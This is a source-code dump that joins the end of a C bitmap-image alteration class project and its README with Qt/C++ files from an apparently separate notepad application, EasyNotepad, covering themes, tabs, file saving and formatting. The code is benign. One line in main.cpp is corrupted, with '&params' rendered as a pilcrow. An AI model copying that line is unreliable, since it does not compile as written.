theAltered[(row + (theHeight / 2)) * rowWidth + (col + (rowWidth / 2))]
= theImage[row * rowWidth + col];
theAltered[row * rowWidth + col] = MIN_VAL;
theAltered[(row + (theHeight / 2)) * rowWidth + col] = MIN_VAL;
}
// Blue portion of pixel goes to lower left
// Blue portion of pixel in upper left and right --> 0
if (col % PIXEL_COL == 0) {
theAltered[row * rowWidth + col] = theImage[row * rowWidth + col];
theAltered[(row + (theHeight / 2)) * rowWidth + (col + (rowWidth / 2))]
= MIN_VAL;
theAltered[(row + (theHeight / 2)) * rowWidth + col] = MIN_VAL;
}
// All portions of pixel go to lower right
theAltered[row * rowWidth + (col + ((rowWidth) / 2))]
= theImage[row * rowWidth + col];
}
}
// Pointer to output file
FILE *outputFile;
// Create file and write array to it; give error if problem making file
if ((outputFile = fopen(OUT_FILE_4, "wb")) == NULL) {
printf("\nThe scaled and repeated file could not be created.\n");
} else {
fwrite(theHeader, sizeof(char), HEADER_SIZE, outputFile);
fwrite(theAltered, sizeof(char), theHeight * rowWidth, outputFile);
fclose(outputFile);
}
}
/**
* Changes image to grayscale. Code based on Method 2 psuedocode with ITU-R
* recommendation found at:
* www.tannerhelland.com/3643/grayscale-image-algorithm-vb6/
*
* @param theImage address to the image array
* @param theAltered address to store the altered version of image in
* @param theHeight image height
* @param theWidth image width
* @param theHeader address to the header for the bitmap file
*/
void grayscale(unsigned char *theImage, unsigned char *theAltered,
int theHeight, int theWidth, unsigned char *theHeader) {
int rowWidth = theWidth * PIXEL_COL; // To avoid constantly calculating this
int row = 0;
int col = 0;
short temp;
for (row = 0; row < theHeight; row++) {
for (col = 0; col < rowWidth; col += PIXEL_COL) {
// Calculate gray value
temp = GRAY_BLUE * theImage[row * rowWidth + col]
+ GRAY_GREEN * theImage[row * rowWidth + (col + 1)]
+ GRAY_RED * theImage[row * rowWidth + (col + 2)];
// Bounds check
if (temp < MIN_VAL) {
temp = MIN_VAL;
} else if (temp > MAX_VAL) {
temp = MAX_VAL;
}
// Store gray value in all three RGB spots for the pixel
theAltered[row * rowWidth + col] = (unsigned char) temp;
theAltered[row * rowWidth + (col + 1)] = (unsigned char) temp;
theAltered[row * rowWidth + (col + 2)] = (unsigned char) temp;
}
}
// Pointer to output file
FILE *outputFile;
// Create file and write array to it; give error if problem making file
if ((outputFile = fopen(OUT_FILE_5, "wb")) == NULL) {
printf("\nThe scaled and repeated file could not be created.\n");
} else {
fwrite(theHeader, sizeof(char), HEADER_SIZE, outputFile);
fwrite(theAltered, sizeof(char), theHeight * rowWidth, outputFile);
fclose(outputFile);
}
}
/*******************************************************************************
* Image altering methods end.
******************************************************************************/
/*******************************************************************************
* Miscellaneous helper methods begin.
******************************************************************************/
/**
* Runs out scanf buffer.
*/
void runOutScanf() {
char garbage;
do {
scanf("%c", &garbage);
} while (garbage != '\n');
}
/*******************************************************************************
* Miscellaneous helper methods end.
******************************************************************************/<file_sep> <NAME>
Winter 2018
Class Project
Created a program in C which takes a 24-bit bitmap image specified by the user and produces five altered versions of the image as files, with the alterations being:
- grayscale,
- inverted color,
- increased contrast,
- resized and duplicated with separate color channels,
- and flipped vertically and mirrored horizontally.
Test images to use, provided in this repository, were given by the instructor.
Input requirements:
1. Files located in same folder as program.
2. File name entered by user does not include extension.
3. Image size entered by user is in the form "width height", in pixels, and is the true size.
Tested program in 32-bit Linux "Cinnamon" OS.
| 3d88417cbc4e954ef90c9bd83f016278bd862105 | [
"C",
"Text"
] | 2 | C | Aryllen/Altering-Bitmap-Images-in-C | 6633b2708f4738d48c84bc2104ccfe1949c7865c | 22002f4af7da27b689f454f8788890495cdc234d |
refs/heads/master | <file_sep>#ifndef COLORPICKER_H
#define COLORPICKER_H
#include <QDialog>
#include <QColor>
#include "etab.h"
//Basic QT header structure
namespace Ui {
class ColorPicker;
}
class ColorPicker : public QDialog {
Q_OBJECT
public:
explicit ColorPicker(ETab *tab = nullptr);
~ColorPicker();
private slots:
void on_btnForeground_clicked();
void on_btnBackground_clicked();
void on_buttonBox_accepted();
private:
Ui::ColorPicker *ui;
QColor foreground;
QColor background;
ETab *parentTab;
bool foregroundChanged = false;
bool backgroundChanged = false;
void updateColors();
};
#endif // COLORPICKER_H
<file_sep>#include "mainwindow.h"
#include <QApplication>
#include <QDir>
#include <QFile>
#include <QSettings>
#include <QStyleFactory>
#include <QTextStream>
#include <qjsonarray.h>
#include <qjsondocument.h>
#include <qjsonobject.h>
#include <qstandardpaths.h>
QJsonObject loadTheme(QApplication *a) {
int theme = 0; //Default
QJsonObject json;
//Read settings file
QString tempfile = QDir::cleanPath(QStandardPaths::writableLocation(QStandardPaths::DocumentsLocation) + QDir::separator() + "easynotepad.json");
QFile s(tempfile);
if(s.exists()){
if(!s.open(QIODevice::ReadOnly)){
std::cerr << "ERROR: Failed to open temp file" << std::endl;
return QJsonObject();
}
QString res = s.readAll();
s.close();
if(res.length() > 0) {
QJsonDocument doc = QJsonDocument::fromJson(res.toUtf8());
if(!doc.isNull() && doc.isObject()) {
//Read document to object
json = doc.object();
if(json.contains("theme")) {
theme = json["theme"].toInt();
}
}
}
}
//If windows and system default: choose from system
#if defined(Q_OS_WIN)
if(theme == 0) {
QSettings settings("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize",QSettings::NativeFormat);
theme = (settings.value("AppsUseLightTheme")==0) ? MainWindow::THEME::DARK : MainWindow::THEME::LIGHT;
}
#endif
//Set theme
if(theme != 0) {
//Set fusion theme
qApp->setStyle(QStyleFactory::create("Fusion"));
//Create color palette
QPalette p;
if(theme == MainWindow::THEME::DARK) {
QColor darkColor = QColor(45,45,45);
QColor disabledColor = QColor(127,127,127);
p.setColor(QPalette::Window, darkColor);
p.setColor(QPalette::WindowText, Qt::white);
p.setColor(QPalette::Base, QColor(18,18,18));
p.setColor(QPalette::AlternateBase, darkColor);
p.setColor(QPalette::ToolTipBase, Qt::white);
p.setColor(QPalette::ToolTipText, Qt::white);
p.setColor(QPalette::Text, Qt::white);
p.setColor(QPalette::Disabled, QPalette::Text, disabledColor);
p.setColor(QPalette::Button, darkColor);
p.setColor(QPalette::ButtonText, Qt::white);
p.setColor(QPalette::Disabled, QPalette::ButtonText, disabledColor);
p.setColor(QPalette::BrightText, Qt::red);
p.setColor(QPalette::Link, QColor(42, 130, 218));
p.setColor(QPalette::Highlight, QColor(42, 130, 218));
p.setColor(QPalette::HighlightedText, Qt::black);
p.setColor(QPalette::Disabled, QPalette::HighlightedText, disabledColor);
qApp->setStyleSheet("QToolTip { color: #ffffff; background-color: #2a82da; border: 1px solid white; }");
} else if(theme == MainWindow::THEME::BLUE) {
QFile f(":qdarkstyle/style.qss");
if (!f.exists()) {
std::cout << "Unable to set stylesheet, file not found" << std::endl;
}
else {
f.open(QFile::ReadOnly | QFile::Text);
QTextStream ts(&f);
a->setStyleSheet(ts.readAll());
}
} else if(theme == MainWindow::THEME::LIGHT) {
QColor lightColor = QColor(230,230,230);
QColor disabledColor = QColor(127,127,127);
p.setColor(QPalette::Window, QColor(255,255,255));
p.setColor(QPalette::WindowText, Qt::black);
p.setColor(QPalette::Base, QColor(255,255,255));
p.setColor(QPalette::AlternateBase, lightColor);
p.setColor(QPalette::ToolTipBase, Qt::black);
p.setColor(QPalette::ToolTipText, Qt::black);
p.setColor(QPalette::Text, Qt::black);
p.setColor(QPalette::Disabled, QPalette::Text, disabledColor);
p.setColor(QPalette::Button, lightColor);
p.setColor(QPalette::ButtonText, Qt::black);
p.setColor(QPalette::Disabled, QPalette::ButtonText, disabledColor);
p.setColor(QPalette::BrightText, Qt::red);
p.setColor(QPalette::Link, QColor(42, 130, 218));
p.setColor(QPalette::Highlight, QColor(42, 130, 218));
p.setColor(QPalette::HighlightedText, Qt::white);
p.setColor(QPalette::Disabled, QPalette::HighlightedText, disabledColor);
}
//Set palette
qApp->setPalette(p);
}
return json;
}
int main(int argc, char *argv[])
{
QApplication a(argc, argv);
QJsonObject json = loadTheme(&a);
//Get parameters from CLI
QStringList params;
for(int i = 0; i < argc; i++){
if(i == 0)
continue;
std::cout << argv[i] << std::endl;
params << QString::fromLocal8Bit(argv[i]);
}
MainWindow w(¶ms, &json);
w.setWindowTitle("EasyNotepad");
w.show();
return a.exec();
}
<file_sep>#include "mainwindow.h"
#include "ui_mainwindow.h"
#include <etab.h>
#include <QMessageBox>
#include <QTextCharFormat>
#include <QTime>
#include <QTimer>
#include <QFileInfo>
#include <QFileDialog>
#include <QStandardPaths>
#include <QCloseEvent>
#include <QTabWidget>
#include <QList>
#include <QAction>
#include <QDragEnterEvent>
#include <QDropEvent>
#include <QMimeData>
#include <iostream>
#include <QJsonObject>
#include <QJsonArray>
#include <qjsondocument.h>
MainWindow::MainWindow(QStringList* params, QJsonObject* json, QWidget *parent)
: QMainWindow(parent)
, ui(new Ui::MainWindow)
{
ui->setupUi(this);
QFont font("Consolas", 12);
ui->tabs->setFont(font);
font.setPointSize(10);
//Initialize status bar
this->lblClock = new QLabel("Hi!");
lblClock->setAlignment(Qt::AlignLeft);
lblClock->setFont(font);
this->lblStatus = new QLabel("ln: 0 col: 0 ");
lblStatus->setAlignment(Qt::AlignRight);
lblStatus->setFont(font);
statusBar()->addWidget(lblClock, 1);
statusBar()->addWidget(lblStatus, 1);
statusBar()->setFont(font);
updateTime();
QTimer *timer = new QTimer(this);
connect(timer, &QTimer::timeout, this, &MainWindow::updateTime);
timer->start(5000);
setAcceptDrops(true);
this->donotload = false;
tempfile = QDir::cleanPath(QStandardPaths::writableLocation(QStandardPaths::DocumentsLocation) + QDir::separator() + "easynotepad.json");
this->params = params;
this->settings = json;
}
MainWindow::~MainWindow()
{
if(params != nullptr) {
params->clear();
}
delete ui;
}
/*
* Event handlers
*/
//Updates time label in statusBar
void MainWindow::updateTime() {
lblClock->setText(" \U0001F550 "+QTime::currentTime().toString("HH:mm"));
}
//Bold, italic, underline, strikeout events
void MainWindow::on_actionBold_triggered()
{
QTextCharFormat fmt;
fmt.setFontWeight(ui->actionBold->isChecked() ? QFont::Bold : QFont::Normal);
setFontOnSelected(fmt);
}
void MainWindow::on_actionItalic_triggered()
{
QTextCharFormat fmt;
fmt.setFontItalic(ui->actionItalic->isChecked());
setFontOnSelected(fmt);
}
void MainWindow::on_actionUnderline_triggered()
{
QTextCharFormat fmt;
fmt.setFontUnderline(ui->actionUnderline->isChecked());
setFontOnSelected(fmt);
}
void MainWindow::on_actionStrikeout_triggered()
{
QTextCharFormat fmt;
fmt.setFontStrikeOut(ui->actionStrikeout->isChecked());
setFontOnSelected(fmt);
}
//I/O actions
void MainWindow::on_actionOpen_triggered()
{
QFileDialog fileDialog(this, tr("Open File(s)..."));
fileDialog.setAcceptMode(QFileDialog::AcceptOpen);
fileDialog.setFileMode(QFileDialog::ExistingFiles);
fileDialog.setMimeTypeFilters(QStringList()
#if QT_CONFIG(texthtmlparser)
<< "text/html"
#endif
#if QT_CONFIG(textmarkdownreader)
<< "text/markdown"
#endif
<< "text/plain");
if (fileDialog.exec() != QDialog::Accepted)
return;
for(QString file : fileDialog.selectedFiles()){
openTab(file);
}
}
void MainWindow::on_actionSave_as_triggered()
{
QFileDialog fileDialog(this, tr("Save as..."));
fileDialog.setAcceptMode(QFileDialog::AcceptSave);
QStringList mimeTypes;
mimeTypes
<< "text/html"
#if QT_CONFIG(textodfwriter)
<< "application/vnd.oasis.opendocument.text"
#endif
#if QT_CONFIG(textmarkdownwriter)
<< "text/markdown"
#endif
<< "text/plain";
fileDialog.setMimeTypeFilters(mimeTypes);
#if QT_CONFIG(textodfwriter)
fileDialog.setDefaultSuffix("odt");
#endif
if (fileDialog.exec() != QDialog::Accepted)
return;
const QString filename = fileDialog.selectedFiles().first();
//Get selected tab
ETab *selected = ui->tabs->findChild<ETab *>(ui->tabs->currentWidget()->objectName());
if(selected == NULL){
std::cerr << "Error: selected tab is NULL" << std::endl;
return;
}
selected->setFileName(filename);
QFileInfo info(filename);
QFile f(filename);
f.open(QIODevice::ReadWrite); //This creates the file
ui->tabs->setTabText(ui->tabs->currentIndex(), info.fileName());
changeTab(ACTION::SAVEAS);
}
//Save file
void MainWindow::on_actionSave_triggered() { changeTab(ACTION::SAVE); }
//Delete file
void MainWindow::on_actionDelete_file_triggered()
{
QMessageBox::StandardButton reply = QMessageBox::question(this, "Delete file?", "Are you sure you want to delete this file?",
QMessageBox::Yes|QMessageBox::Cancel);
if(reply == QMessageBox::Yes){
changeTab(ACTION::DELETE);
}
}
//Event that is triggered when the window loads
void MainWindow::showEvent(QShowEvent *event){
if(donotload)
return;
QWidget::showEvent(event);
//Try to load temp file
this->index = 0;
if(params->size() > 0) {
for(int i = 0; i < params->size(); i++) {
QString name = params->at(i);
if(name != "#Close") {
openTab(name);
}
}
delete params;
} else {
this->loadTempFile();
}
statusBar()->clearMessage();
this->donotload = true;
}
//Event thats triggered when user quits
void MainWindow::closeEvent(QCloseEvent *event){
on_action_Exit_triggered();
event->ignore();
}
//Other menu items
void MainWindow::on_action_New_triggered() { this->openTab("New File"); }
void MainWindow::on_action_Close_triggered() { changeTab(ACTION::CLOSE); }
void MainWindow::on_actionBigger_triggered() { changeTab(ACTION::CHANGEFONTSIZE, true); }
void MainWindow::on_actionSmaller_triggered() { changeTab(ACTION::CHANGEFONTSIZE, false); }
void MainWindow::on_actionColor_triggered() { changeTab(ACTION::CHANGECOLOR);}
void MainWindow::on_actionFont_family_triggered() { changeTab(ACTION::CHANGEFONT); }
void MainWindow::on_actionAutosave_triggered() { changeTab(ACTION::SETAUTOSAVE); }
void MainWindow::on_actionForce_Quit_triggered() { exit(0); }
void MainWindow::on_actionStandard_triggered() { changeTab(ACTION::SETHNORMAL); }
void MainWindow::on_actionHeading_1_triggered() { changeTab(ACTION::SETH1); }
void MainWindow::on_actionHeading_2_triggered() { changeTab(ACTION::SETH2); }
void MainWindow::on_actionHeading_3_triggered() { changeTab(ACTION::SETH3); }
void MainWindow::on_actionHeading_4_triggered() { changeTab(ACTION::SETH4); }
void MainWindow::on_actionHeading_5_triggered() { changeTab(ACTION::SETH5); }
void MainWindow::on_actionHeading_6_triggered() { changeTab(ACTION::SETH6); }
void MainWindow::on_actionCircle_triggered() { changeTab(ACTION::LISTCIRCLE); }
void MainWindow::on_actionSquare_triggered() { changeTab(ACTION::LISTSQUARE); }
void MainWindow::on_actionDisc_triggered() { changeTab(ACTION::LISTDISK); }
void MainWindow::on_actionAlpha_lower_triggered() { changeTab(ACTION::LISTALPHALOWER); }
void MainWindow::on_actionAlpha_upper_triggered() { changeTab(ACTION::LISTALPHAUPPER); }
void MainWindow::on_actionRoman_lower_triggered() { changeTab(ACTION::LISTROMANLOWER); }
void MainWindow::on_actionRoman_upper_triggered() { changeTab(ACTION::LISTROMANUPPER); }
void MainWindow::on_actionStandard_numeric_triggered() { changeTab(ACTION::LISTDECIMAL); }
void MainWindow::on_actionCheckbox_triggered() { changeTab(ACTION::LISTUNCHECKED); }
void MainWindow::on_actionCheckbox_checked_triggered() { changeTab(ACTION::LISTCHECKED); }
void MainWindow::on_actionLeft_triggered() { changeTab(ACTION::ALIGNLEFT); }
void MainWindow::on_actionRight_triggered() { changeTab(ACTION::ALIGNRIGHT); }
void MainWindow::on_actionCenter_triggered() { changeTab(ACTION::ALIGNCENTER); }
void MainWindow::on_actionJustify_triggered() { changeTab(ACTION::ALIGNJUSTIFY); }
void MainWindow::on_actionUse_default_triggered() { setTheme(THEME::DEFAULT, 1); }
void MainWindow::on_actionUse_light_theme_triggered() { setTheme(THEME::LIGHT, 1); }
void MainWindow::on_actionUse_dark_theme_triggered() { setTheme(THEME::DARK, 1); }
void MainWindow::on_actionUse_blue_theme_triggered() { setTheme(THEME::BLUE, 1); }
void MainWindow::on_actionHyperlink_triggered() { changeTab(ACTION::CREATELINK); }
void MainWindow::on_actionRemeber_opened_files_triggered() {}
//Exit application
void MainWindow::on_action_Exit_triggered()
{
saveTempFile();
on_actionClose_all_triggered();
std::cout << "Bye!" << std::endl;
QApplication::exit(0);
}
//Enable/disable topmost
void MainWindow::on_actionStay_topmost_triggered()
{
//Maybe other code on windows: https://stackoverflow.com/a/2860768
if(ui->actionStay_topmost->isChecked()){
this->setWindowFlags(this->windowFlags() | Qt::WindowStaysOnTopHint);
std::cout << "Change topmost" << std::endl;
} else{
this->setWindowFlags(this->windowFlags() ^ Qt::WindowStaysOnTopHint);
std::cout << "Change not topmost" << std::endl;
}
this->show();
}
//Close all tabs
void MainWindow::on_actionClose_all_triggered()
{
int cnt = ui->tabs->count();
while(ui->tabs->count()>0){
changeTab(ACTION::CLOSE);
}
updateMessage(QString("Closed %1 files").arg(cnt));
}
//Drag and drop
void MainWindow::dragEnterEvent(QDragEnterEvent *event){
if (event->mimeData()->hasUrls()) {
event->acceptProposedAction();
}
}
void MainWindow::dropEvent(QDropEvent *event){
foreach (const QUrl &url, event->mimeData()->urls()) {
openTab(url.toLocalFile());
}
}
/*
* Logic
*/
//Load temp file if exists
void MainWindow::loadTempFile(){
bool restoreAny = false;
if(settings != nullptr) {
QJsonObject json = *settings;
//Saved files
if(json.contains("files") && json["files"].isArray()) {
QJsonArray files = json["files"].toArray();
if(files.count() > 0){
for (int i = 0; i < files.size(); i++) {
openTab(files[i].toString());
}
restoreAny = true;
ui->actionRemeber_opened_files->setChecked(true);
}
}
//Screen resolution and other settings. Maybe object "settings"
if(json.contains("resolution") && json["resolution"].isArray()) {
QJsonArray arr = json["resolution"].toArray();
if(arr.size() == 2) {
int width = arr[0].toInt();
int heigth = arr[1].toInt();
//This is how i resize window without struggles :D
MainWindow::setFixedSize(width, heigth);
MainWindow::setMinimumSize(0,0);
MainWindow::setMaximumSize(16777215,16777215);
}
}
//Open editors (temp files/quick notes)
if(json.contains("editors") && json["editors"].isArray()) {
QJsonArray arr = json["editors"].toArray();
if(arr.size() > 0) {
for(int i = 0; i < arr.size(); i++) {
if(arr[i].isObject()) {
QJsonObject o = arr[i].toObject();
openTab(QString("Quick note #%1").arg(i+1));
ETab *selected = ui->tabs->findChild<ETab *>(ui->tabs->currentWidget()->objectName());
selected->setContent(o["content"].toString());
}
}
restoreAny = true;
ui->actionRemember_quick_notes->setChecked(true);
}
}
//Get theme
if(json.contains("theme")) {
setTheme((THEME)json["theme"].toInt());
}
}
//If nothing is opened: open new tab
if(!restoreAny) {
this->openTab("New file");
}
}
//Write temp file to disk
void MainWindow::saveTempFile(){
QFile f(tempfile);
if(!f.open(QIODevice::WriteOnly)){
std::cerr << "ERROR: Failed to save remembered files" << std::endl;
return;
}
QJsonArray files; //Files to be reloaded from disk
QJsonArray editors; //Open editors that will be saved
QList<ETab*> tabs = ui->tabs->findChildren<ETab*>() ;
for (ETab* t : tabs) {
if(t->fileExists()) {
if(ui->actionRemeber_opened_files->isChecked()) {
files.append(t->getFileName());
}
} else {
if(ui->actionRemember_quick_notes->isChecked() && t->getFileName() != "#About") {
QJsonObject editor;
editor["content"] = t->getContent();
if(t->hasChanges()) {
editors.append(editor);
}
t->setContent("", false); //Trick to not save file
delete t; //Close tab
}
}
}
QJsonArray resolution;
if(MainWindow::isMaximized()) {
resolution.append(MainWindow::normalGeometry().width());
resolution.append(MainWindow::normalGeometry().height());
} else {
resolution.append(MainWindow::width());
resolution.append(MainWindow::height());
}
QJsonObject object;
object["files"] = files;
object["resolution"] = resolution;
object["editors"] = editors;
object["theme"] = (int)this->theme;
QJsonDocument doc(object);
QString res = doc.toJson();
f.write(res.toUtf8());
f.close();
}
//Set autosave checked/unchecked
void MainWindow::updateAutoSave(bool checked){
ui->actionAutosave->setChecked(checked);
}
//Set font on selected tab
void MainWindow::setFontOnSelected(const QTextCharFormat &format){
//Get selected tab
ETab *selected = ui->tabs->findChild<ETab *>(ui->tabs->currentWidget()->objectName());
if(selected == NULL){
std::cerr << "ERROR: selected tab is NULL" << std::endl;
return;
}
selected->setFontFormat(format);
}
//Open new tab by file name
void MainWindow::openTab(QString file){
//Add tab to tabs
ETab *tab = new ETab(this);
int tabCount = ui->tabs->count();
tab->setObjectName(QString("tab-%1").arg(index++));
tab->setFileName(file);
QFileInfo fi(file);
QString title = fi.fileName();
if(fi.exists()){
tab->openFile();
}
ui->tabs->addTab(tab, title);
ui->tabs->setCurrentIndex(tabCount);
tab->focus();
updateActions();
updateMessage(" \U0001F5CE "+title+" opened!");
}
//Disable/enable actions
void MainWindow::updateActions() {
bool enabled = (ui->tabs->count()!=0);
ui->action_Close->setEnabled(enabled);
ui->actionSave->setEnabled(enabled);
ui->actionSave_as->setEnabled(enabled);
ui->actionDelete_file->setEnabled(enabled);
ui->actionClose_all->setEnabled(enabled);
ui->actionAutosave->setEnabled(enabled);
toggleMenu(ui->menuEdit, !enabled);
}
//Recursive function to toggle menu's
void MainWindow::toggleMenu(QMenu *menu, bool disable){
for(QAction *action : menu->actions()){
if(!action->isSeparator()){
action->setEnabled(!disable);
if(action->menu()){
toggleMenu(action->menu(), disable);
}
}
}
}
//Update bold/italic/underline/strikeout actions when selecting text. Triggered from ETab logic
void MainWindow::updateActions(const QTextCharFormat &format){
ui->actionBold->setChecked(format.font().bold());
ui->actionUnderline->setChecked(format.font().underline());
ui->actionItalic->setChecked(format.font().italic());
ui->actionStrikeout->setChecked(format.font().strikeOut());
}
//Update status label. Triggered from ETab logic
void MainWindow::updateStatusLabel(int line, int col){
lblStatus->setText(QString("ln: %1 col: %2 ").arg(line).arg(col));
}
//Show message in statusBar
void MainWindow::updateMessage(QString message){
ui->statusbar->showMessage(message, 3000);
}
//Execute actions on selected tab
void MainWindow::changeTab(ACTION action, int argument){
ETab *selected = ui->tabs->findChild<ETab *>(ui->tabs->currentWidget()->objectName());
if(selected == NULL){
std::cerr << "ERROR: selected tab is NULL" << std::endl;
return;
}
QFileInfo info(selected->getFileName());
switch (action) {
case ACTION::CHANGEFONT:
selected->changeFont();
break;
case ACTION::CHANGECOLOR:
selected->changeColor();
break;
case ACTION::CHANGEFONTSIZE:
selected->changeFontSize(argument);
break;
case ACTION::SAVE:
{
if(!info.exists())
on_actionSave_as_triggered();
selected->saveFile();
}
break;
case ACTION::SAVEAS:
{
selected->saveFile(true);
}
break;
case ACTION::DELETE:
{
QFile file(selected->getFileName());
changeTab(ACTION::CLOSE);
if(!info.exists())
return;
file.remove();
updateMessage("Deleted "+info.fileName());
}
break;
case ACTION::CLOSE:
{
//Close and current tab
if(!info.exists() && selected->hasChanges())
{
QMessageBox::StandardButton res = QMessageBox::question(this, "Save file?", QString("Do you want to save %1?").arg(info.fileName()), QMessageBox::Save|QMessageBox::Discard|QMessageBox::Cancel);
if(res == QMessageBox::Save){
on_actionSave_as_triggered();
} else if(res == QMessageBox::Cancel) {
return;
}
}
else
selected->saveFile();
delete selected;
//ui->tabs->removeTab(ui->tabs->currentIndex());
updateActions();
updateMessage(" \U0001F5CE "+info.fileName()+" closed!");
}
break;
case ACTION::SETAUTOSAVE:
selected->setAutoSave(ui->actionAutosave->isChecked());
break;
case ACTION::SETHNORMAL: case ACTION::SETH1: case ACTION::SETH2: case ACTION::SETH3: case ACTION::SETH4: case ACTION::SETH5: case ACTION::SETH6:
selected->setStyle((action == ACTION::SETHNORMAL) ? 0 : (action - ACTION::SETHNORMAL)+10);
break;
case ACTION::LISTDISK: case ACTION::LISTCIRCLE: case ACTION::LISTSQUARE: case ACTION::LISTCHECKED: case ACTION::LISTDECIMAL: case ACTION::LISTUNCHECKED: case ACTION::LISTALPHALOWER: case ACTION::LISTALPHAUPPER: case ACTION::LISTROMANLOWER: case ACTION::LISTROMANUPPER:
selected->setStyle((action - ACTION::LISTDISK) + 1);
break;
case ACTION::ALIGNLEFT: case ACTION::ALIGNRIGHT: case ACTION::ALIGNCENTER: case ACTION::ALIGNJUSTIFY:
selected->setAlign((action - ACTION::ALIGNLEFT));
break;
case ACTION::CREATELINK:
selected->createLink();
break;
}
}
//Set application theme
void MainWindow::setTheme(THEME theme, bool showMessage) {
this->theme = theme;
for(QAction *action : ui->menuTheme->actions()){
action->setChecked(false);
}
switch (theme) {
case LIGHT:
ui->actionUse_light_theme->setChecked(true);
break;
case DARK:
ui->actionUse_dark_theme->setChecked(true);
break;
case BLUE:
ui->actionUse_blue_theme->setChecked(true);
break;
default:
ui->actionUse_default->setChecked(true);
break;
}
if(showMessage) {
QMessageBox::information(this, "Theme change", "Theme change will be applied after application restart.");
}
}
void MainWindow::on_actionAbout_triggered()
{
openTab("#About");
QString hardCodedAboutPage = "<h1>EasyNotepad++</h1><p>EasyNotepad++ is an richtext editor for Windows and Linux. It supports HTML, Markdown, and plain text files. It is also able to export a file to an ODT-file. It is made with QT and C++</p><h1>Licence</h1><p>EasyNotepad is licenced under the MIT-licence.</p><br/><h4>→ More info, see <a href=\"https://github.com/maurictg/EasyNotepadPlusPlus\">https://github.com/maurictg/EasyNotepadPlusPlus</a></h4>";
ETab *selected = ui->tabs->findChild<ETab *>(ui->tabs->currentWidget()->objectName());
selected->setContent(hardCodedAboutPage, false);
}
<file_sep>#ifndef URLPICKER_H
#define URLPICKER_H
#include <QDialog>
#include <etab.h>
namespace Ui {
class UrlPicker;
}
class UrlPicker : public QDialog
{
Q_OBJECT
public:
explicit UrlPicker(ETab *tab = nullptr);
~UrlPicker();
private slots:
void on_buttonBox_accepted();
void on_checkBox_stateChanged(int state);
void on_tbTitle_textChanged(const QString &arg1);
private:
Ui::UrlPicker *ui;
ETab *parentTab;
bool checked;
};
#endif // URLPICKER_H
<file_sep>#include "etab.h"
#include "ui_etab.h"
#include <QAction>
#include <QFontDialog>
#include <QFileInfo>
#include <QFile>
#include <QTextDocumentWriter>
#include <QTextCodec>
#include <QMimeDatabase>
#include <QTextStream>
#include <QTextListFormat>
#include <QTextList>
#include <colorpicker.h>
#include <urlpicker.h>
ETab::ETab(MainWindow *mainwindow, QWidget *parent) : QWidget(parent), ui(new Ui::ETab)
{
ui->setupUi(this);
this->main = mainwindow;
ui->textEdit->setFrameStyle(QFrame::NoFrame);
QFont font("Consolas", 14);
ui->textEdit->setFont(font);
timer = new QTimer();
connect(timer, &QTimer::timeout, this, &ETab::timerTick);
changes = false;
}
ETab::~ETab()
{
delete ui;
delete timer;
delete file;
}
void ETab::focus() {
ui->textEdit->setFocus();
}
/*
* Event handlers
*/
void ETab::on_textEdit_currentCharFormatChanged(const QTextCharFormat &format) { main->updateActions(format); }
void ETab::on_textEdit_textChanged() { changes = true; }
void ETab::on_textEdit_cursorPositionChanged()
{
QTextCursor cursor = ui->textEdit->textCursor();
if(main != NULL){
main->updateStatusLabel((cursor.blockNumber()+1), (cursor.columnNumber()+1));
} else{
std::cerr << "ERROR: Nullpointerexception" << std::endl;
}
}
void ETab::timerTick(){
if(!autosave){
timer->stop();
} else{
if(changes){
useFile(true);
}
}
}
/*
* Logic
*/
void ETab::setContent(QString text, bool doSave) {
ui->textEdit->setHtml(text);
this->dontSave = !doSave;
}
QString ETab::getContent() {
return ui->textEdit->toHtml();
}
//Set font format on selected tab
void ETab::setFontFormat(const QTextCharFormat &format){
//Get cursor and set charFormat
QTextCursor cursor = ui->textEdit->textCursor();
cursor.mergeCharFormat(format);
ui->textEdit->mergeCurrentCharFormat(format);
}
//Enable/disable autosave on file
void ETab::setAutoSave(bool enabled){
autosave = enabled;
if(enabled == true && !timer->isActive()){
timer->start(10000);
}
}
//Write/read file
void ETab::useFile(bool write){
if(!file->exists()){
std::cout << "WARNING: File does not exist!" << std::endl;
return;
}
if(!write){
//Read data from file
if(!file->open(QIODevice::ReadOnly)){
std::cerr << "ERROR: Failed to read file" << std::endl;
return;
}
//Use mimetypes. Can also check on endsWith
QByteArray data = file->readAll();
QTextCodec *codec = Qt::codecForHtml(data);
QString str = codec->toUnicode(data);
QUrl baseUrl = (file->fileName().front() == QLatin1Char(':') ? QUrl(file->fileName()) : QUrl::fromLocalFile(file->fileName())).adjusted(QUrl::RemoveFilename);
ui->textEdit->document()->setBaseUrl(baseUrl);
if (Qt::mightBeRichText(str)) {
ui->textEdit->setHtml(str);
} else {
QMimeDatabase db;
if (db.mimeTypeForFileNameAndData(file->fileName(), data).name() == QLatin1String("text/markdown")){
ui->textEdit->setMarkdown(str);
}
else
ui->textEdit->setPlainText(QString::fromLocal8Bit(data));
}
} else{
//Write data to file
QTextDocumentWriter writer(file->fileName());
bool result = writer.write(ui->textEdit->document());
if(result)
main->updateMessage(" \U0001F5CE "+getName()+" saved!");
else {
QString text = ui->textEdit->toPlainText();
if(!file->open(QIODevice::WriteOnly)){
std::cerr << "ERROR: Failed to open file" << std::endl;
return;
}
file->write(text.toUtf8());
main->updateMessage(" \U0001F5CE "+getName()+" saved!");
std::cout << "INFO: Saved file as plain text" << std::endl;
}
}
file->close();
//Set modified to false
ui->textEdit->document()->setModified(false);
//1000 kb max
if(((file->size() / 1024) < 1000) && !autosave){
setAutoSave(true);
main->updateAutoSave(true);
}
changes = false;
}
void ETab::openFile() { this->useFile(false);}
void ETab::saveFile(bool force) {
if(changes || force)
this->useFile(true);
}
//Getter/setter
QString ETab::getFileName() { return file->fileName(); }
void ETab::setFileName(QString name){ file = new QFile(name); }
QString ETab::getName(){
QFileInfo i(getFileName());
return i.fileName();
}
bool ETab::hasChanges() {
if(ui->textEdit->toPlainText().length() == 0 || dontSave)
return false;
return changes;
}
bool ETab::isAutosave() {
return autosave;
}
//Increase/decrease fontsize
void ETab::changeFontSize(bool increase){
QTextCursor cursor = ui->textEdit->textCursor();
QTextCharFormat fmt;
QFont font = cursor.charFormat().font();
float size = font.pointSizeF() + ((increase) ? 1 : -1);
if(size > 0){
font.setPointSizeF(size);
fmt.setFont(font);
cursor.mergeCharFormat(fmt);
ui->textEdit->mergeCurrentCharFormat(fmt);
}
}
//Change font format
void ETab::changeFont() {
